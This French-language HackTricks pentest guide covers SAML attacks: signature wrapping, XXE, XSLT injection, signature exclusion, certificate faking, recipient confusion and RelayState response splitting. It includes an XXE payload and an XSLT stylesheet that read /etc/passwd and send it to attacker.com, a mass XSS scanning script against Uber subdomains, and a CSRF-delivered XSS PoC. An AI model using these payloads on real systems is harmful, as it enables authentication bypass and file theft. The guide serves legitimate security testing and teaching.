SAML Attacks

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

SAML Basics

Outil

SAMLExtractor: Un outil qui peut prendre une URL ou une liste d’URL et renvoie l’URL de consommation SAML.

Aller-retour XML

En XML, la partie signée du XML est sauvegardée en mémoire, puis un encodage/décodage est effectué et la signature est vérifiée. Idéalement cet encodage/décodage ne devrait pas modifier les données mais, dans ce scénario, les données vérifiées et les données originales pourraient ne pas être les mêmes.

Par exemple, regardez le code suivant :

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Exécuter le programme contre REXML 3.2.4 ou une version antérieure produirait plutôt la sortie suivante :

First child in original doc: Y
First child after round-trip: Z

Voici comment REXML a vu le document XML original produit par le programme ci‑dessus :

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Et voici comment il l’a vu après un cycle d’analyse et de sérialisation :

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Pour plus d’informations sur la vulnérabilité et la manière de l’exploiter :

XML Signature Wrapping Attacks

Dans les XML Signature Wrapping attacks (XSW), un adversaire exploite une vulnérabilité qui apparaît lorsque les documents XML sont traités en deux phases distinctes : validation de la signature et appel de fonction. Ces attaques consistent à altérer la structure du document XML. Plus précisément, l’attaquant injecte des éléments falsifiés qui ne compromettent pas la validité de la XML Signature. Cette manipulation vise à créer une divergence entre les éléments analysés par la logique applicative et ceux vérifiés par le module de vérification de la signature. Ainsi, alors que la XML Signature reste techniquement valide et passe la vérification, la logique applicative traite les éléments frauduleux. Par conséquent, l’attaquant contourne efficacement la protection d’intégrité et l’authentification de l’origine fournies par la XML Signature, permettant l’injection de contenu arbitraire sans détection.

Les attaques suivantes sont basées sur this blog post et this paper. Consultez-les pour plus de détails.

XSW #1

  • Stratégie : A new root element containing the signature is added.
  • Conséquence : The validator may get confused between the legitimate “Response -> Assertion -> Subject” and the attacker’s “evil new Response -> Assertion -> Subject”, leading to data integrity issues.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Différence par rapport à XSW #1 : Utilizes a detached signature instead of an enveloping signature.
  • Conséquence : The “evil” structure, similar to XSW #1, aims to deceive the business logic post integrity check.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Stratégie : An evil Assertion is crafted at the same hierarchical level as the original assertion.
  • Conséquence : Vise à confondre la business logic pour qu’elle utilise les données malveillantes.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Différence par rapport à XSW #3 : The original Assertion becomes a child of the duplicated (evil) Assertion.
  • Conséquence : Similar to XSW #3 but alters the XML structure more aggressively.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Particularité : Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
  • Conséquence : The copied Assertion envelopes the Signature, modifying the expected document structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Stratégie : Similar location insertion as XSW #4 and #5, but with a twist.
  • Conséquence : The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Stratégie : An Extensions element is inserted with the copied Assertion as a child.
  • Conséquence : This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Différence par rapport à XSW #7 : Utilizes another less restrictive XML element for a variant of the attack.
  • Conséquence : The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

Vous pouvez utiliser l’extension Burp SAML Raider pour parser la requête, appliquer l’attaque XSW de votre choix et la lancer.

XXE

Si vous ne savez pas ce que sont les attaques XXE, consultez la page suivante :

XXE - XEE - XML External Entity

Les SAML Responses sont des documents XML deflated and base64 encoded et peuvent être vulnérables aux attaques XML External Entity (XXE). En manipulant la structure XML de la SAML Response, les attaquants peuvent tenter d’exploiter des vulnérabilités XXE. Voici comment une telle attaque peut être visualisée :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Outils

Vous pouvez aussi utiliser l’extension Burp SAML Raider pour générer le POC à partir d’une requête SAML afin de tester d’éventuelles vulnérabilités XXE et SAML.

Check also this talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

For more information about XSLT go to:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) peuvent être utilisées pour transformer des documents XML en divers formats tels que HTML, JSON ou PDF. Il est crucial de noter que les transformations XSLT sont effectuées avant la vérification de la signature numérique. Cela signifie qu’une attaque peut réussir même sans signature valide ; une signature auto-signée ou invalide suffit pour procéder.

Vous trouverez ici un POC pour vérifier ce type de vulnérabilités ; sur la page hacktricks mentionnée au début de cette section, vous pouvez trouver des payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Vous pouvez également utiliser l’extension Burp SAML Raider pour générer le POC à partir d’une requête SAML afin de tester d’éventuelles vulnérabilités XSLT.

Consultez également cette conférence : https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion observe le comportement des implémentations SAML lorsque l’élément Signature n’est pas présent. Si cet élément manque, la validation de la signature peut ne pas s’effectuer, le rendant vulnérable. Il est possible de tester cela en modifiant le contenu qui est normalement vérifié par la signature.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Tool

Vous pouvez également utiliser l’extension Burp SAML Raider. Interceptez la SAML Response et cliquez sur Remove Signatures. Ce faisant tous les éléments Signature sont supprimés.

Avec les signatures supprimées, laissez la requête poursuivre vers la cible. Si la Signature n’est pas requise par le Service

Certificate Faking

Certificate Faking

Certificate Faking est une technique permettant de vérifier si un Service Provider (SP) vérifie correctement qu’un SAML Message est signé par un Identity Provider (IdP) de confiance. Elle consiste à utiliser un *self-signed certificate pour signer la SAML Response ou l’Assertion, ce qui permet d’évaluer le processus de validation de confiance entre SP et IdP.

How to Conduct Certificate Faking

Les étapes suivantes décrivent le processus en utilisant l’extension Burp SAML Raider :

  1. Interceptez la SAML Response.
  2. Si la response contient une signature, envoyez le certificat à SAML Raider Certs en utilisant le bouton Send Certificate to SAML Raider Certs.
  3. Dans l’onglet SAML Raider Certificates, sélectionnez le certificat importé et cliquez sur Save and Self-Sign pour créer un clone self-signed du certificat d’origine.
  4. Retournez à la requête interceptée dans Burp’s Proxy. Sélectionnez le nouveau self-signed certificate dans le XML Signature dropdown.
  5. Supprimez toutes les signatures existantes avec le bouton Remove Signatures.
  6. Signez le message ou l’assertion avec le nouveau certificat en utilisant le bouton (Re-)Sign Message ou (Re-)Sign Assertion, selon le cas.
  7. Transmettez le message signé. Une authentification réussie indique que le SP accepte des messages signés par votre self-signed certificate, révélant d’éventuelles vulnérabilités dans le processus de validation des SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion et Service Provider Target Confusion consistent à vérifier si le Service Provider valide correctement le destinataire prévu d’une réponse. En substance, un Service Provider devrait rejeter une réponse d’authentification si elle était destinée à un autre Service Provider. L’élément critique ici est le champ Recipient, situé dans l’élément SubjectConfirmationData d’une SAML Response. Ce champ précise une URL indiquant où l’Assertion doit être envoyée. Si le destinataire réel ne correspond pas au Service Provider prévu, l’Assertion doit être considérée comme invalide.

How It Works

Pour qu’une attaque SAML Token Recipient Confusion (SAML-TRC) soit réalisable, certaines conditions doivent être remplies. Premièrement, il doit exister un compte valide sur un Service Provider (désigné SP-Legit). Deuxièmement, le Service Provider ciblé (SP-Target) doit accepter des tokens du même Identity Provider qui sert SP-Legit.

Le processus d’attaque est simple dans ces conditions. Une session authentique est initiée avec SP-Legit via l’Identity Provider partagé. La SAML Response de l’Identity Provider vers SP-Legit est interceptée. Cette SAML Response interceptée, initialement destinée à SP-Legit, est ensuite redirigée vers SP-Target. L’attaque réussit si SP-Target accepte l’Assertion, accordant l’accès à des ressources sous le même nom de compte utilisé pour SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS dans la fonctionnalité de déconnexion

La recherche originale est accessible via this link.

Lors du processus de brute forcing des répertoires, une page de déconnexion a été découverte à :

https://carbon-prototype.uberinternal.com:443/oidauth/logout

En accédant à ce lien, une redirection a eu lieu vers :

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Cela a révélé que le paramètre base accepte une URL. En conséquence, l’idée est née de remplacer l’URL par javascript:alert(123); dans une tentative de déclencher une attaque XSS (Cross-Site Scripting).

Exploitation de masse

D’après cette recherche:

L’SAMLExtractor tool a été utilisé pour analyser les sous-domaines de uberinternal.com afin de trouver des domaines utilisant la même bibliothèque. Par la suite, un script a été développé pour cibler la page oidauth/prompt. Ce script teste la présence de XSS (Cross-Site Scripting) en saisissant des données et en vérifiant si elles sont reflétées dans la sortie. Lorsque l’entrée est effectivement reflétée, le script marque la page comme vulnérable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Certaines SAML SSO endpoints décodent RelayState puis le reflètent dans la réponse sans assainissement. Si vous pouvez injecter des sauts de ligne et écraser le Content-Type de la réponse, vous pouvez forcer le navigateur à rendre du HTML contrôlé par l’attaquant, obtenant ainsi un reflected XSS.

  • Idée : abuser du response-splitting via newline injection dans le RelayState reflété. Voir aussi les notes génériques dans CRLF injection.
  • Fonctionne même lorsque RelayState est décodé base64 côté serveur : fournissez un base64 qui décode en header/body injection.

Étapes généralisées :

  1. Construire une séquence d’injection header/body commençant par un saut de ligne, écraser le Content-Type en HTML, puis injecter un payload HTML/JS :

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. Encoder la séquence en URL (exemple) :
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Encoder en base64 cette chaîne encodée en URL et la placer dans RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Envoyer un POST avec un SAMLResponse syntaxiquement valide et le RelayState fabriqué vers l’endpoint SSO (par ex., /cgi/logout).
  2. Livrer via CSRF : héberger une page qui soumet automatiquement un POST cross-origin vers l’origine cible incluant les deux champs.

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

Schéma de livraison CSRF:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Pourquoi ça fonctionne : le serveur décode RelayState et l’incorpore dans la réponse d’une manière qui permet la newline injection, permettant à l’attaquant d’influencer les en-têtes et le corps. Forcer Content-Type: text/html fait que le navigateur rende le HTML contrôlé par l’attaquant depuis le corps de la réponse.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks